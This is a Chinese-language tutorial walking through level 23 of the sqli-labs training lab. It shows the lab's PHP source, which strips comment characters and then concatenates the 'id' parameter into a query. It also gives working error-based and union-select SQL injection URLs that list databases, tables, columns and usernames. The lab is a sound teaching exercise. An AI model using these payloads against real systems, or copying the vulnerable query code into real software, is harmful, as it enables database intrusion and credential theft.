1. 程式人生 > >sqli-labs————less 23(高階注入篇)

sqli-labs————less 23(高階注入篇)

前言

從這一關開始,我們進進入了短暫的高階注入部分,這一部分中將會陸續介紹一些更為巧妙的注入技巧。

Less -23


檢視一下原始碼:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-23 **Error Based- no comments**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#0000ff">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-23.jpg" /></center>
</body>
</html>





 
關鍵的sql執行語句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

從該SQL語句中我們可以看出如果我們要構造payload那麼我們需要做的就是閉合前面的單引號、同時閉合後面的單引號。


獲取mysql資料庫的basedir:


同時,這裡也可以使用報錯注入、延時注入:

報錯注入:

注入語句:

http://192.168.11.136/sqli-labs/Less-23?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1

獲取資料庫資訊:

http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3


檢視資料庫security中的資料表:

注入語句:

http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3


檢視user表中的所有列:

注入語句

http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

獲取表中資訊內容:

注入語句:

http://192.168.11.136/sqli-labs/Less-23?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3


至此,我們完成了一個基本的注入過程。